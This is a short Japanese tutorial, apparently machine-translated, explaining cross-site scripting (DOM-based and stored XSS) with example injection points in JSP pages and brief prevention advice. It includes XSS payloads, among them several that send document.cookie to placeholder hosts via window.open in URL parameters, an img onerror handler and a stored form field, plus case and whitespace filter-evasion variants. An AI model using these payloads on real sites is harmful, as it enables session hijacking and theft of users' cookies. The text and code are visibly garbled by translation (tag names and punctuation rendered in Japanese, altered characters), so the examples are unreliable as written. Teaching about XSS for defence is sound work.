XSS攻撃、クロスサイトスクリプティング攻撃（クロスサイトスクリプティング）が、それは一般的なWebアプリケーションの脆弱性です。
原則
HTMLコード（Javascriptを、CSS、HTMLタグなど）を使用して、悪意のあるWebページを挿入する攻撃者は、ユーザーがページを閲覧した場合、埋め込まれたHTMLコードは、悪意のあるユーザーの目的を達成するように、実行されます。このようになど、他のWebサイトにリダイレクトページ構造の破壊、一連の操作を実行するために、ユーザーのクッキーを盗みます。
タイプ
1、DOMベースのXSS：Webベースの攻撃のDOM構造
：などの
INPUTタグのvalueプロパティの割り当て
// JSP
<種類のINPUT = "text"の値= "<％=のgetParameter（"コンテンツ"）％>">
訪問
のhttp：/ /xxx.xxx.xxx/search?content=<script>alert('XSS「）; </ SCRIPT> // ポップXSSの言葉
http://xxx.xxx.xxx/search?content=<script>window.open （ "xxx.aaa.xxx?param =" + document.cookie） </スクリプト> // xxxx.aaa.xxxサイトに現在のページにクッキーを送信する
タグのhref属性使用して割り当て
// JSP
<A HREF =を「（エスケープ<
http://xxx.xxx.xxx?newUrl=javascript:alert('XSS「）// XSSポップアップ表示は、タグワードをクリックして
敏感変換
http://xxx.xxx.xxx?newUrl=JAvaScript:alert（」 XSS「）はXSSアップタグワードポップをクリックしてください//
スペース
http://xxx.xxx.xxx?newUrl=はJavaScript：アラートを（」XSS " ）// XSSアップタグワードポップをクリックして
画像タグのsrc属性、悪意のあるコードのオンロード、ONERROR、onclickのイベント
</ IMG SRC = 'xxx.xxx' οnerrοr= 'window.open（ "http://aaa.xxx?param=" + document.cookie）のJavaScript'>
2、保存されたXSS：保存されたXSSの脆弱性
<フォームアクション= "save.do">
<INPUT名= "コンテンツ"値= "">
</ form>の
入力の<script> window.open（「xxx.aaa.xxx?param= 「+ document.cookie）</スクリプト>は 、 提出した
人々は、このページへのアクセス権を持っている場合、ページには、クッキーxxx.aaaに提出されます。xxxは、攻撃者がクッキーに取得することができます
防止のアイデア
入力データは、ろ過処理を脱出した場合、ユーザの入力により、ローカルのWebページを
背景ページ出力（攻撃者が他の手段によってデータベースに書き込まれた悪意のあるスクリプトを置く可能性があるので）また、内容が脱出する出力、ろ過処理に必要な時間、
htmlタグの属性のフロントエンド、ローカルのCSSプロパティの割り当てを確認してください
